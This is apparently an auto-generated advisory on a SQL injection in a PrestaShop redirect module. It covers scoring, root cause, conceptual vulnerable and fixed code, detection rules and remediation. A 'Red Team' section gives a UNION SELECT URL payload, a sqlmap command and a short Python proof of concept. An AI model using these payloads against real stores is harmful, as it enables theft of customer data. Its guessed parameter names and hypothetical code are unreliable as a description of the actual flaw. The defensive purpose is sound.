CVE-2023-50061

Executive Summary

CVE-2023-50061 is a critical SQL Injection vulnerability discovered in the PrestaShop module Op'art Easy Redirect (versions 1.3.8 through 1.3.12). The flaw resides in the Oparteasyredirect::hookActionDispatcher() function, which fails to properly sanitize user-supplied input before incorporating it into SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, credential theft, or full server compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and the widespread use of PrestaShop.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module, not the core platform. The module is distributed via the PrestaShop Addons marketplace and potentially through direct downloads. Users should verify the integrity of the module file (oparteasyredirect.zip) by checking its hash against official sources. No known malicious packages have been identified in public repositories, but the lack of a patch increases supply chain risk.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a more accurate assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component remains the same.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – ability to modify or delete data.
• Availability (A): High (H) – potential for denial of service via SQL injection.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the hookActionDispatcher() method of the Oparteasyredirect module. This hook is triggered during various PrestaShop actions, such as page loads or form submissions. The function processes user-controlled parameters (likely from HTTP requests) and uses them directly in SQL queries without proper sanitization or parameterization.

Root Cause: The module uses string concatenation or interpolation to build SQL queries, incorporating user input without escaping or using prepared statements. For example, a parameter like id_redirect might be taken from $_GET or $_POST and inserted directly into a SELECT or UPDATE statement.

Attack Vector: An attacker can craft a malicious HTTP request to the PrestaShop instance, targeting any endpoint that triggers the vulnerable hook. By injecting SQL syntax (e.g., ' OR '1'='1), they can manipulate the query to return unintended data or execute arbitrary commands.

Impact: Successful exploitation can lead to:

• Extraction of sensitive data (customer PII, credentials, payment info).
• Modification of database content (e.g., defacement, privilege escalation).
• Potential remote code execution if the database user has file write permissions (e.g., INTO OUTFILE).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on secure coding practices.

Vulnerable Code (Conceptual):

public function hookActionDispatcher($params)
{
    $id_redirect = $_GET['id_redirect'];
    $sql = "SELECT * FROM " . _DB_PREFIX_ . "opart_redirect WHERE id_redirect = $id_redirect";
    return Db::getInstance()->executeS($sql);
}

Patched Code (Conceptual):

public function hookActionDispatcher($params)
{
    $id_redirect = (int)$_GET['id_redirect']; // Cast to integer
    $sql = "SELECT * FROM " . _DB_PREFIX_ . "opart_redirect WHERE id_redirect = " . (int)$id_redirect;
    // Or use prepared statement:
    // $sql = "SELECT * FROM " . _DB_PREFIX_ . "opart_redirect WHERE id_redirect = ?";
    // return Db::getInstance()->executeS($sql, array($id_redirect));
    return Db::getInstance()->executeS($sql);
}

Key Differences:

• Input validation: The patched version casts the input to an integer, preventing SQL injection.
• Parameterized queries: Using prepared statements (commented) is the most secure approach.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A PrestaShop instance with Op'art Easy Redirect module version 1.3.8 to 1.3.12 installed.
• Knowledge of a triggerable endpoint (e.g., any page that invokes hookActionDispatcher).

Exploit Steps:

1. Identify the vulnerable parameter. Common parameters include id_redirect, redirect_url, or action.
2. Craft a SQL injection payload. For example:

   http://target.com/index.php?id_redirect=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

3. Use a tool like sqlmap for automated exploitation:

   sqlmap -u "http://target.com/index.php?id_redirect=1" --batch --dbs
   

4. Extract data or escalate privileges.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/index.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
params = {"id_redirect": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL keywords in GET/POST parameters (e.g., UNION, SELECT, OR).
• Use WAF rules to block common SQL injection patterns.
• Deploy the detection rules provided in the Detection Engineering section.

Honeypot:

• Set up a decoy PrestaShop instance with the vulnerable module to capture attacker behavior.

Mitigation:

• Immediately disable or remove the module if no patch is available.
• Implement input validation and parameterized queries in custom code.
• Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL injection patterns in parameters like id_redirect, redirect_url, or action.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified module files (e.g., oparteasyredirect.php) with injected backdoors.
• Suspicious files in the PrestaShop upload or img directories.

Log IOCs:

• Web server logs showing repeated requests with SQL keywords.
• Database logs showing unexpected queries (if enabled).

Example Log Entry:

192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "GET /index.php?id_redirect=1%20UNION%20SELECT%201,2,3 HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2023_50061_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting PrestaShop Op'art Easy Redirect module"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-50061"
    strings:
        $s1 = "id_redirect" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
    condition:
        any of ($s1) and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against PrestaShop Op'art Easy Redirect
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the vulnerable module
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'id_redirect='
            - 'redirect_url='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-50061 SQL Injection Attempt"; flow:to_server,established; content:"id_redirect"; http_uri; nocase; content:"UNION"; http_uri; nocase; distance:0; content:"SELECT"; http_uri; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the module: In the PrestaShop admin panel, go to Modules > Module Manager and disable "Op'art Easy Redirect".
2. Remove the module: Uninstall and delete the module files from the server.
3. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in parameters associated with the module.

Long-Term Fixes:

• Patch the module: If the vendor releases a patch, apply it immediately. Otherwise, consider rewriting the module with secure coding practices (parameterized queries, input validation).
• Upgrade PrestaShop: Ensure the core platform is up-to-date to benefit from security improvements.
• Monitor for updates: Subscribe to PrestaShop security advisories and the module vendor's notifications.

Workarounds:

• Input validation: If you cannot disable the module, modify the oparteasyredirect.php file to cast all input parameters to integers or use prepared statements (if you have development resources).
• Database hardening: Ensure the database user used by PrestaShop has minimal privileges (e.g., no FILE privilege).

Report generated by Valters IT DevSecOps & CTI Framework
Signature: Valters IT